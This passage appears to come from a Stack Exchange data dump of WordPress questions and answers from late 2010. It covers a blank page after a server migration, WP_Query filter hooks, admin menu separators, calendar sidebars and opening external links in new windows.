&lt;p&gt;Your Kloxo panel details are&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;URL : XXXXX User : XXXXXX pass : XXXXX&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;Server root access detail are as&#xA;    follows&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;IP : 38.100.101.228 User : XXXXXXX&#xA;    Pass : XXXXXXX&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;Kindly check your database once with&#xA;    your database developers with the&#xA;    details given above and let us know&#xA;    for further help.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;what should i do?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ok well i did some changes for this in wp-config.php,&#xA;but after that the admin guys from hosting are saying me this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Virtual host entry for the IP is&#xA;  pointing to different folder ( which&#xA;  doesn't have any contents ), hence you&#xA;  have received the default page. I have&#xA;  pointed in to the correct folder&#xA;  &quot;onlinemb&quot;. You can view the blank&#xA;  page, please check and resolve it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;i edited the database MySql hostname from local host, to the IP-38.100.101.228&#xA;but then he changed again to local host, and again the blank page came, what to do now?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-01-03T05:24:51.180" LastActivityDate="2011-01-03T05:24:51.180" Title="Server database problem" Tags="&lt;database&gt;&lt;server&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="6169" PostTypeId="2" ParentId="6153" CreationDate="2010-12-31T09:49:30.133" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt; with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Author_Parameters&quot; rel=&quot;nofollow&quot;&gt;Author Parameters&lt;/a&gt; (they are in &lt;code&gt;query_posts()&lt;/code&gt; documentation, but these two function mostly takes same arguments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not use &lt;code&gt;query_posts()&lt;/code&gt; for this, it's meant for modifying main page's Loop.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-31T09:49:30.133" CommentCount="2" />
  <row Id="6170" PostTypeId="2" ParentId="6168" CreationDate="2010-12-31T10:30:13.093" Score="2" ViewCount="" Body="&lt;p&gt;Had you configured database settings in &lt;code&gt;wp-config.php&lt;/code&gt; for the new server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosting provider says your site has issues accessing database. Assuming they confirmed database is working as expected it leaves site configuration itself.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-31T10:30:13.093" />
  <row Id="6171" PostTypeId="2" ParentId="6162" CreationDate="2010-12-31T10:56:03.017" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Chris M:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, what you are planning is one of the easier ways to accomplish a relationship between post where the user defines the relationship through a shared value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways you could make this work but since WordPress doesn't give you an easy single query way to do it easily I decided to subclass &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;WP_Query&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; named &lt;code&gt;Place_Trip_Query&lt;/code&gt; for you so that you can accomplish this with one SQL query. Normally I like to avoid SQL queries but this is an area where I don't think it can be helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class uses the &lt;code&gt;'posts_where'&lt;/code&gt; and &lt;code&gt;'posts_join'&lt;/code&gt; hooks to let us modify the SQL query to associate the Place and Trip posts that have been tagged by the same Location term for a given place name &lt;em&gt;(the query uses a &quot;starts with&quot; query so &quot;Grand&quot; will match &quot;Grand Canyon&quot;).&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can place this code in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a PHP file of a plugin you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Place_Trip_Query extends WP_Query {&#xA;  var $place_name = false;&#xA;  function __construct($args=array()) {&#xA;    if (isset($args['place_name']))&#xA;      $this-&amp;gt;place_name = $args['place_name'];&#xA;    parent::__construct($args);&#xA;  }&#xA;  function get_posts($args=array()) {&#xA;    add_filter('posts_where',array(__CLASS__,'posts_where'),10,2);&#xA;    add_filter('posts_join',array(__CLASS__,'posts_join'),10,2);&#xA;    parent::get_posts($args);&#xA;    remove_filter('posts_join',array(__CLASS__,'posts_join'));&#xA;    remove_filter('posts_where',array(__CLASS__,'posts_where'));&#xA;  }&#xA;  static function posts_join($join,$query) {&#xA;    global $wpdb;&#xA;    $join .= &amp;lt;&amp;lt;&amp;lt;SQL&#xA;INNER JOIN {$wpdb-&amp;gt;term_relationships} &#xA;  ON {$wpdb-&amp;gt;term_relationships}.object_ID={$wpdb-&amp;gt;posts}.ID&#xA;INNER JOIN {$wpdb-&amp;gt;term_taxonomy} &#xA;  ON {$wpdb-&amp;gt;term_taxonomy}.term_taxonomy_id={$wpdb-&amp;gt;term_relationships}.term_taxonomy_id &#xA; AND {$wpdb-&amp;gt;term_taxonomy}.taxonomy='location'&#xA;INNER JOIN {$wpdb-&amp;gt;term_relationships} place_relationships &#xA;  ON place_relationships.term_taxonomy_id={$wpdb-&amp;gt;term_relationships}.term_taxonomy_id&#xA;INNER JOIN {$wpdb-&amp;gt;posts} place &#xA;  ON place.ID=place_relationships.object_id&#xA;SQL;&#xA;    return $join;&#xA;  }&#xA;  static function posts_where($where,$query) {&#xA;    global $wpdb;&#xA;    $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;AND place.post_type='place'&#xA;AND place.ID&amp;lt;&amp;gt;{$wpdb-&amp;gt;posts}.ID&#xA;AND place.post_title LIKE '%s'&#xA;SQL;&#xA;    // Search for something that starts with &quot;{place_name}&quot;...&#xA;    $where .= $wpdb-&amp;gt;prepare($sql,$query-&amp;gt;place_name.'%'); &#xA;    return $where;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use this class just like you might use the &lt;code&gt;WP_Query&lt;/code&gt; with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;these args&lt;/strong&gt;&lt;/a&gt;. Here's a standalone file you could call test.php and drop in the root of your website to test the class and show you how it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include '../wp-load.php';&#xA;$query = new Place_Trip_Query(array(&#xA;  'post_type'=&amp;gt;'trip',&#xA;  'place_name'=&amp;gt;'Grand Canyon', // Here's where you put your place name&#xA;));&#xA;echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;foreach($query-&amp;gt;posts as $trip) {&#xA;  echo &quot;&amp;lt;li&amp;gt;{$trip-&amp;gt;post_title}&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for others reading this who would like to test this here's some code to create the Places and Trips custom post types and the Location custom taxonomy. You can also place this in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','places_trips_init');&#xA;function places_trips_init() {&#xA;  register_post_type('place',&#xA;    array(&#xA;      'labels'          =&amp;gt; make_post_type_labels('Place'),&#xA;      'public'          =&amp;gt; true,&#xA;      'show_ui'         =&amp;gt; true,&#xA;      'query_var'       =&amp;gt; 'place',&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'places'),&#xA;      'hierarchical'    =&amp;gt; true,&#xA;      //'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;    )&#xA;  );&#xA;  register_post_type('trip',&#xA;    array(&#xA;      'labels'          =&amp;gt; make_post_type_labels('Trip'),&#xA;      'public'          =&amp;gt; true,&#xA;      'show_ui'         =&amp;gt; true,&#xA;      'query_var'       =&amp;gt; 'trip',&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'trips'),&#xA;      'hierarchical'    =&amp;gt; true,&#xA;      //'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;    )&#xA;  );&#xA;  register_taxonomy('location', array('place','trip'), array(&#xA;    'hierarchical'    =&amp;gt; true,&#xA;    'labels'          =&amp;gt; make_post_type_labels('Location'),&#xA;    'query_var'       =&amp;gt; 'location',&#xA;    'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'locations' ),&#xA;    )&#xA;  );&#xA;  global $wp_rewrite;&#xA;  $wp_rewrite-&amp;gt;flush_rules(false);  // This should really be done in a plugin activation&#xA;}&#xA;function make_post_type_labels($singular,$plural=false,$args=array()) {&#xA;  if ($plural===false)&#xA;    $plural = $singular . 's';&#xA;  elseif ($plural===true)&#xA;    $plural = $singular;&#xA;  $defaults = array(&#xA;    'name'              =&amp;gt;_x($plural,'post type general name'),&#xA;    'singular_name'      =&amp;gt;_x($singular,'post type singular name'),&#xA;    'add_new'            =&amp;gt;_x('Add New',$singular),&#xA;    'add_new_item'      =&amp;gt;__(&quot;Add New $singular&quot;),&#xA;    'edit_item'          =&amp;gt;__(&quot;Edit $singular&quot;),&#xA;    'new_item'          =&amp;gt;__(&quot;New $singular&quot;),&#xA;    'view_item'          =&amp;gt;__(&quot;View $singular&quot;),&#xA;    'search_items'      =&amp;gt;__(&quot;Search $plural&quot;),&#xA;    'not_found'          =&amp;gt;__(&quot;No $plural Found&quot;),&#xA;    'not_found_in_trash'=&amp;gt;__(&quot;No $plural Found in Trash&quot;),&#xA;    'parent_item_colon' =&amp;gt;'',&#xA;  );&#xA;  return wp_parse_args($args,$defaults);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-31T10:56:03.017" CommentCount="4" />
  <row Id="6172" PostTypeId="1" AcceptedAnswerId="6176" CreationDate="2010-12-31T15:08:13.040" Score="1" ViewCount="259" Body="&lt;p&gt;I'm new to the &quot;posts_&quot; filter hooks and wanted to know a few things from those in the know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3708/custom-taxonomy-wp-query-for-all-terms-in-a-taxonomy&quot;&gt;question&lt;/a&gt;, someone posted&#xA;an answer using posts_join that took&#xA;a second parameter of $query:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_filter('posts_join',array(&amp;amp;$this,'posts_join'),10,2);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function posts_join($join,$query) {&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an instance of wp_query or something similar?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;-Same example: how would I determine the post type so that I can do custom&#xA;joins for each custom post type I&#xA;have on the admin side&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;-What does the posts_fields filter hook do?  from the example I've seen,&#xA;it looks like it replaces the columns&#xA;in the SELECT clause of an SQL call. &#xA;Am I correct in that assumption?  And&#xA;does it too have more parameters that&#xA;can be called??&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I find some examples but I can't get any solid documentation anywhere.  Thank you in advance for all answers given&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2010-12-31T18:02:31.570" Title="Explanation of the &quot;posts_join&quot; and &quot;posts_fields&quot; filter hooks?" Tags="&lt;plugin-development&gt;&lt;filters&gt;&lt;hooks&gt;" AnswerCount="1" />
  <row Id="6173" PostTypeId="2" ParentId="3972" CreationDate="2010-12-31T16:05:57.897" Score="0" ViewCount="" Body="&lt;p&gt;here is the possible solution &#xA;&lt;a href=&quot;http://smartmediapro.com/tips-and-guides/wordpress-error-plugin-does-not-have-a-valid-header/&quot; rel=&quot;nofollow&quot;&gt;http://smartmediapro.com/tips-and-guides/wordpress-error-plugin-does-not-have-a-valid-header/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-31T16:05:57.897" />
  <row Id="6174" PostTypeId="2" ParentId="6164" CreationDate="2010-12-31T16:23:56.360" Score="3" ViewCount="" Body="&lt;p&gt;This will put one separator right after 'Appearance' and one right before 'Plugins'. Just make sure to give your menu position 62 or 63. You can just add it to whatever file is adding the admin page to begin with. This should be called after everything else has been added.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jpb_menu_isolator(){&#xA;  global $menu;&#xA;  $menu[61] = array('', 'read', 'separator3', '', 'wp-menu-separator');&#xA;  $menu[64] = array('', 'read', 'separator3', '', 'wp-menu-separator');&#xA;  uksort($menu,'strnatcasecmp');&#xA;}&#xA;&#xA;add_action( 'admin_menu', 'jpb_menu_isolator', 1000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-31T16:23:56.360" />
  <row Id="6175" PostTypeId="1" CreationDate="2010-12-31T17:30:57.897" Score="0" ViewCount="414" Body="&lt;p&gt;I have a site I'm working on using the Thematic Core theme and a Child Theme I created as well as The Events Calendar Plugin.  The entire site works fine with the sidebar on every template page, post, etc...The only pages where the sidebar is not showing up is the Events Calendar Pages (Grid View, List View and Single Event View).  I tried hacking the plugin's template views but to no avail.  Here is the Grid View Calendar template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $spEvents;&#xA;$spEvents-&amp;gt;loadDomainStylesScripts();&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;tec-content&quot; class=&quot;grid&quot;&amp;gt;&#xA;&amp;lt;div id='tec-events-calendar-header' class=&quot;clearfix&quot;&amp;gt;&#xA;&amp;lt;h2 class=&quot;tec-cal-title&quot;&amp;gt;&amp;lt;?php _e('Calendar of Events', $spEvents-    &amp;gt;pluginDomain) ?&amp;gt;    &amp;lt;/h2&amp;gt;&#xA;&amp;lt;span class='tec-month-nav'&amp;gt;&#xA;&amp;lt;span class='tec-prev-month'&amp;gt;&#xA;&amp;lt;a href='&amp;lt;?php echo events_get_previous_month_link(); ?&amp;gt;'&amp;gt;&#xA;&amp;amp;#x2190; &amp;lt;?php echo events_get_previous_month_text(); ?&amp;gt;&#xA; &amp;lt;/a&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&#xA;&amp;lt;?php get_jump_to_date_calendar( &quot;tec-&quot; ); ?&amp;gt;&#xA;&#xA;&amp;lt;span class='tec-next-month'&amp;gt;&#xA; &amp;lt;a href='&amp;lt;?php echo events_get_next_month_link(); ?&amp;gt;'&amp;gt;    &#xA; &amp;lt;?php echo events_get_next_month_text(); ?&amp;gt; &amp;amp;#x2192; &#xA; &amp;lt;/a&amp;gt;&#xA; &amp;lt;/span&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&#xA;&amp;lt;span class='tec-calendar-buttons'&amp;gt; &#xA;&amp;lt;a class='tec-button-off' href='&amp;lt;?php echo events_get_listview_link(); ?&amp;gt;'&amp;gt;&amp;lt;?php  _e('Event List', $spEvents-&amp;gt;pluginDomain)?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class='tec-button-on' href='&amp;lt;?php echo events_get_gridview_link(); ?&amp;gt;'&amp;gt;&amp;lt;?php _e('Calendar', $spEvents-&amp;gt;pluginDomain)?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- tec-events-calendar-header --&amp;gt;&#xA;&amp;lt;?php&#xA;global $wp_query;&#xA;$tecCatObject = get_category( $wp_query-&amp;gt;query_vars['cat'])&#xA;?&amp;gt;&#xA;&amp;lt;a class=&quot;ical&quot; href=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;/?ical=&amp;lt;?php echo $tecCatObject-&amp;gt;slug; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Outlook Import', $spEvents-&amp;gt;pluginDomain) ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php event_grid_view(); // See the plugins/the-events-calendar/views/table.php template for customization ?&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php /* For custom template builders...&#xA;* The following init method should be called before any other loop happens.&#xA;*/&#xA;$wp_query-&amp;gt;init(); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried putting the usual &lt;code&gt;thematic_sidebar();&lt;/code&gt; call right before the &lt;code&gt;get_footer();&lt;/code&gt; call but nothing.  Since this isn't a typical thematic template page is there something special I have to do to register the thematic sidebars?  There is a comment toward the bottom that says the &lt;code&gt;$wp_query-&amp;gt;init();&lt;/code&gt; method should be called before any other loop happens, but I don't really know what that means.  Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2026" LastActivityDate="2011-09-04T15:42:13.833" Title="Sidebar not showing up on Event Calendar Page" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;sidebar&gt;&lt;register-sidebar&gt;&lt;plugin-events-calendar&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="6176" PostTypeId="2" ParentId="6172" CreationDate="2010-12-31T18:02:31.570" Score="4" ViewCount="" Body="&lt;p&gt;When you use one of the methods to query for posts (&lt;code&gt;query_posts()&lt;/code&gt;, &lt;code&gt;get_posts()&lt;/code&gt; or &lt;code&gt;WP_Query&lt;/code&gt; object) arguments you provide are processed and turned into SQL query. This happens in &lt;code&gt;WP_Query-&amp;gt;&amp;amp;get_posts()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since arguments are not omnipotent there are a lot of hooks in there that allow to modify or override parts of resulting SQL query.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;posts_join&lt;/code&gt; is part of query that handles SQL JOINs - adding additional tables to the mix, for example tables related to taxonomies when they are needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;posts_fields&lt;/code&gt; seem to control which database fields will be returned in query, it seems to default to all fields from &lt;code&gt;posts&lt;/code&gt; table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-31T18:02:31.570" CommentCount="4" />
  <row Id="6178" PostTypeId="1" CreationDate="2010-12-31T18:11:18.587" Score="2" ViewCount="291" Body="&lt;p&gt;Is it possible to make some sort of change or add a plugin that allows me to make every 'external' link open in a new window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just an example: if my blog was called http//timmy.com/ and I wanted to link to http//tom.com/, it would open a new window instead of the same window,&#xA;but I wanted to link from http//timmy.com/ to http//timmy.com/somewhere/ in the same window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want all external link from my website to another in a new window/tab,&#xA;but I want every internal link, from my website to somewhere else on my website, to be in the same window/tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2236" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-01T15:11:25.467" LastActivityDate="2011-01-01T15:11:25.467" Title="Open external links in a new window" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;links&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="6179" PostTypeId="2" ParentId="6178" CreationDate="2010-12-31T18:35:50.743" Score="3" ViewCount="" Body="&lt;p&gt;Yup can be done with javascript. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $j = jQuery.noConflict();&#xA;&#xA;$j(document).ready(function() { //external attribute&#xA;    $j(&quot;a:not([@href*=http://YOURSITE.com/])&quot;).not(&quot;[href^=#]&quot;)&#xA;    .addClass(&quot;external&quot;)&#xA;    .attr({ target: &quot;_blank&quot; });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-12-31T18:35:50.743" CommentCount="3" />
  <row Id="6181" PostTypeId="2" ParentId="6178" CreationDate="2010-12-31T19:35:29.857" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ninjaboi21:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see @curtismchale gave you a jQuery solution which should work fine. If you'd like a PHP solution, here's one that should work for you too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the solution comes in two parts; first is to buffer the output using PHP's &lt;code&gt;ob_start()&lt;/code&gt; function, which is easy, and then to parse the output in the callback function, which is more involved. I used a not-so-elegant brute-force method; I'm sure there are better ways but the brute force method is what someone who's not so bright like me uses. :) Maybe someone else will come along with something more elegant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code; put this in your theme's &lt;code&gt;functions.php&lt;/code&gt; file and you should be good to go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','buffer_output_for_links');&#xA;function buffer_output_for_links() {&#xA;  if (!is_admin())  // No need to do in the admin&#xA;    ob_start('decorate_links');&#xA;}&#xA;function decorate_links($content) {&#xA;  $wpurl = get_bloginfo('wpurl');&#xA;  $parts = explode('&amp;lt;a',$content);&#xA;  for($index = 1; $index&amp;lt;count($parts); $index++) {&#xA;    // Break apart on '&amp;gt;' to isolate anchor attributes&#xA;    $part = explode('&amp;gt;',$parts[$index]);&#xA;    // Remove all target=&quot;_blank&quot;&#xA;    $part[0] = preg_replace(&quot;#\\s*target\\s*=\\s*[\&quot;'].*?['\&quot;]\\s*#&quot;,' ',$part[0]);&#xA;    // Add target=&quot;_blank&quot; to all&#xA;    $part[0] = preg_replace('#href\s*=\s*#','target=&quot;_blank&quot; href=',$part[0]);&#xA;    // Remove target=&quot;_blank&quot; from only this domain&#xA;    $part[0] = preg_replace(&quot;#target=\&quot;_blank\&quot; href=(['\&quot;]){$wpurl}#&quot;,&quot;href=\\1{$wpurl}&quot;,$part[0]);&#xA;    // End this part by reassembling on the '&amp;gt;'&#xA;    $parts[$index] = implode('&amp;gt;',$part);&#xA;  }&#xA;  // Finally reassembling it all on the '&amp;lt;a' leaving a space for good measure&#xA;  $content = implode('&amp;lt;a ',$parts);&#xA;  return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike Schinkel&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-31T19:35:29.857" />
  <row Id="6182" PostTypeId="2" ParentId="6178" CreationDate="2010-12-31T19:48:28.557" Score="1" ViewCount="" Body="&lt;p&gt;While you got answers on technical side how to do it, I want to chime in on usability side - you really shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from some specific cases (non-web-based documents for example) opening new browser windows/tabs for links is considered very poor practice (and for very long time already).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it might seems like a strategy to keep your site open in effect it is very likely to annoy users who didn't explicitly want that new tab but got it anyway because you decided for them.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-31T19:48:28.557" CommentCount="4" />
  <row Id="6183" PostTypeId="1" AcceptedAnswerId="6193" CreationDate="2010-12-31T20:13:44.637" Score="1" ViewCount="347" Body="&lt;p&gt;I was wondering if someone can help me with this.  I'm currently following Shibashake's tutorial about creating custom meta-boxes that include taxonomy selection here: &lt;a href=&quot;http://shibashake.com/wordpress-theme/wordpress-custom-taxonomy-input-panels&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/wordpress-custom-taxonomy-input-panels&lt;/a&gt; .&#xA;They show how to remove the standard metabox Wordpress automatically creates for taxonomies using the remove_meta_box function.  Only problem is that the function for some reason doesn't seem to work on taxonomies that work as categories ie ones where the hierarchical option is set to true.  I know I have the function working because the ones set up as tags disappear easily enough.  I can't if it just isn't possible or if there is something special I need to add in one of the parameters to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( &#xA;    'hierarchical' =&amp;gt; false,  &#xA;    'label' =&amp;gt;'People',  &#xA;    'query_var' =&amp;gt; true,  &#xA;    'rewrite' =&amp;gt; true       &#xA;);&#xA;register_taxonomy('people', 'post',$args);&#xA;&#xA;remove_meta_box('tagsdiv-people','post','side');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works fine. If I set hierarchical to 'true, however, the meta box stays put.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-01-01T10:32:41.260" Title="How do you remove a Category-style (hierarchical) taxonomy metabox?" Tags="&lt;custom-taxonomy&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6184" PostTypeId="1" AcceptedAnswerId="14623" CreationDate="2010-12-31T20:22:44.083" Score="0" ViewCount="113" Body="&lt;p&gt;Is there a Wordpress Plugin that you can give it a list of old tweets (specified by url or tweet number (for example: &lt;a href=&quot;http://twitter.com/#!/leeand00/status/20215977534820353&quot; rel=&quot;nofollow&quot;&gt;http://twitter.com/#!/leeand00/status/20215977534820353&lt;/a&gt;) and put them on a map, which will slowly move between them (in demo mode) and then allow the user to click on those tweets?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Just figured I'd check before implementing one)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Can someone please tag this post with &quot;Google Maps&quot; or &quot;Maps&quot; please.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-01T15:12:57.930" LastActivityDate="2011-04-13T04:14:53.067" Title="Wordpress Plugin for Maps of specific Tweets?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;twitter&gt;&lt;geo-data&gt;&lt;map&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="6185" PostTypeId="1" AcceptedAnswerId="6189" CreationDate="2010-12-31T20:57:55.847" Score="0" ViewCount="29" Body="&lt;p&gt;What are plugins that are added to a post or page using comments...for instance I am aware of the &lt;br/&gt; &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; tag, (it's part of Wordpress not a plugin...) but I'm assuming that there may be plugins out there with functionality that is placed in a post in a similar manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the name of plugins that operate in this manner?&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-01-01T00:34:45.160" Title="Is there a specific term for Plugins that are specified in a Wordpress Post using Comments?" Tags="&lt;plugins&gt;&lt;comments&gt;" AnswerCount="2" />
  <row Id="6186" PostTypeId="2" ParentId="6185" CreationDate="2010-12-31T21:24:25.713" Score="1" ViewCount="" Body="&lt;p&gt;there is also the &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt;tag.&#xA;there are many.&#xA;You can actually use shortcodes &lt;code&gt;[some_function]&lt;/code&gt; in posts and pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can read more here on the codex shortcode api &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Shortcode_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2010-12-31T21:24:25.713" CommentCount="4" />
  <row Id="6187" PostTypeId="1" AcceptedAnswerId="6188" CreationDate="2010-12-31T23:28:45.437" Score="0" ViewCount="135" Body="&lt;p&gt;Hi to the community,&lt;br&gt;&#xA;i try to build a shortcode that prints the Creative Commons logo and some text,&#xA;everything is working fine except that i put the shortcode at the end of the post but the shortcode goes to the top of the post content,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i use the code bellow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Creative Commons License Shortcode&#xA;&#xA;function creativecommons( $atts, $content = null )&#xA;{&#xA;    extract( shortcode_atts( array(&#xA;      'type' =&amp;gt; '',&#xA;      'code' =&amp;gt; '',&#xA;      ), $atts ) );&#xA;&#xA;{ ?&amp;gt;&#xA;&amp;lt;div class=&quot;license&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;cc-img&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/cc.png&quot; width=&quot;32&quot; height=&quot;32&quot; alt=&quot;Creative Commons License&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;cc-content&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;&amp;lt;?php echo $type ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;small&amp;gt;&amp;lt;?php echo $code 